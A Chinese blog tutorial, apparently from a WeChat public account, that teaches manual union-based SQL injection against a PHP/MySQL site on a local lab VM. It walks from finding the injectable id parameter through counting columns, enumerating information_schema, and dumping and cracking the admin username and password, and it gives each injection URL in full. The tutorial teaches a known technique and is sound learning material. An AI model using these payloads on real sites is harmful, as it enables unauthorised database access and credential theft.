【SQL注入】通过实战教你手工注入MySql数据库

【SQL注入】通过实战教你手工注入MySql数据库

Hello,各位小伙伴们大家晚上好~~

【SQL注入】通过实战教你手工注入MySql数据库

不知不觉,已经是本公众号的第八篇技术文章了,你们都有认真阅读吗?

正当小编发愁下一篇写什么的时候,鲁迅发话了:
【SQL注入】通过实战教你手工注入MySql数据库
好吧,那么我们就一起来学习一下,对PHP+MySql组合的网站,怎么进行纯手工注入吧,Here we go~

【SQL注入】通过实战教你手工注入MySql数据库


一、准备准备

NPMserv:

PHP + Mysql 集成环境,下载后在windows虚拟机中解压即可使用。

链接:https://pan.baidu.com/s/1TWoQ3PLo_SWX-FEATQVeHQ
提取码,请关注公众号并回复 SQL注入 即可获取~


二、实战篇

网站搭建完成后,我们就可以通过浏览器直接进行访问了~

【SQL注入】通过实战教你手工注入MySql数据库

1、寻找注入点

任意点开一片文章,我们会发现url处出现了"id"字样,猜测网站通过id号从数据库中调取不同的文章:

【SQL注入】通过实战教你手工注入MySql数据库

修改"id=43",发现果然打开了一篇其他的文章:

【SQL注入】通过实战教你手工注入MySql数据库

接下来我们来判断此处是否为注入点吧~

输入http://192.168.211.135/dy_show.php?dy_id=43 and 1=1 页面显示正常

【SQL注入】通过实战教你手工注入MySql数据库

输入http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 查询失败

【SQL注入】通过实战教你手工注入MySql数据库

说明此处存在注入点

2、测试注入点所在table的字段数目

输入 http://192.168.211.135/dy_show.php?dy_id=42 order by 5 查询失败

【SQL注入】通过实战教你手工注入MySql数据库

输入 http://192.168.211.135/dy_show.php?dy_id=42 order by 4 查询成功

【SQL注入】通过实战教你手工注入MySql数据库

由此我们可以判断字段数为4

3、查询version、database等信息

已知当前表项的字段数为4,我们先通过union select 来判断一下哪些字段所在的内容会显示在网页上,并加上and 1=2 ,让网站原本的内容不被显示出来。

输入 http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,2,3,4

【SQL注入】通过实战教你手工注入MySql数据库

可以看到 2,3查询点被显示了出来。

接下来我们将2,3替换为version(),和user(),查询结果如下:

【SQL注入】通过实战教你手工注入MySql数据库

可以看出当前Mysql数据版本在5.0以上,当前查询账号为root管理员账号

桥豆麻袋,Mysql 5.0 代表什么?说明支持 information_schema 数据库呀~,该数据库中存储着用户在MySQL中创建的所有其它所有数据库的信息。

在进行下一步之前,我们先查询一下当前的数据库,输入

http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,database(),3,4

【SQL注入】通过实战教你手工注入MySql数据库

查询处数据库为govcn

4、查询表名

information_schema中存放了三张重要的数据表,如下:

  • schemata:用于存放所有数据库的名字。
  • tables:用于存放所有数据库中的数据表的名字。
  • columns:用于存放所有数据库的所有数据表中的所有字段的名字。

使用tables表,我们先来查询 govcn 数据库中有哪些表,在输入点2查询表名

输入:http://192.168.211.135/dy_show.php?dy_id=42 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘govcn’

But,当存在大量表时,此处会显示得非常混乱,我们用group_concat()函数来将table_name查询内容进行整合。

输入:

http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘govcn’

【SQL注入】通过实战教你手工注入MySql数据库

可以看到 govcn 数据库中得表单都被查询了出来,接下来我们就可以从admin表中查询用户的账号、密码了。

5、查询指定表中的字段

首先从information_schema.columns中查询表名,输入:

http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘admin’

【SQL注入】通过实战教你手工注入MySql数据库

发现该标中的字段名为username和password,知道表名,又知道了表的字段名,那我们就可以直接查询这些字段的内容了~

6、查询用户名及密码

输入:http://192.168.211.135/dy_show.php?dy_id=42 and 1=2 union select 1,username,password,4 from admin

【SQL注入】通过实战教你手工注入MySql数据库
此处什么都没显示出来,可能因为账号密码的格式与网页格式不同,显示不出来,需要使用unhex(hex())函数进行编码转换。

输入:http://192.168.211.135/dy_show.php?dy_id=42 and 1=2 union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin

查询结果如下,成功爆出用户名、密码:

【SQL注入】通过实战教你手工注入MySql数据库

将密码在CMD5等网站进行**,结果如下:

【SQL注入】通过实战教你手工注入MySql数据库

这样我们就成功获取了用户名admin,密码admin了~


以上就是今天Mysql手工注入的教程,大家都明白了吗?

之前小编有写过一期通过sqlmap对该网站进行注入的文章,没看过的小伙伴可以回顾一下哦~

好啦,这就是今天的全部内容,欢迎关注我的公众号~

peace!

【SQL注入】通过实战教你手工注入MySql数据库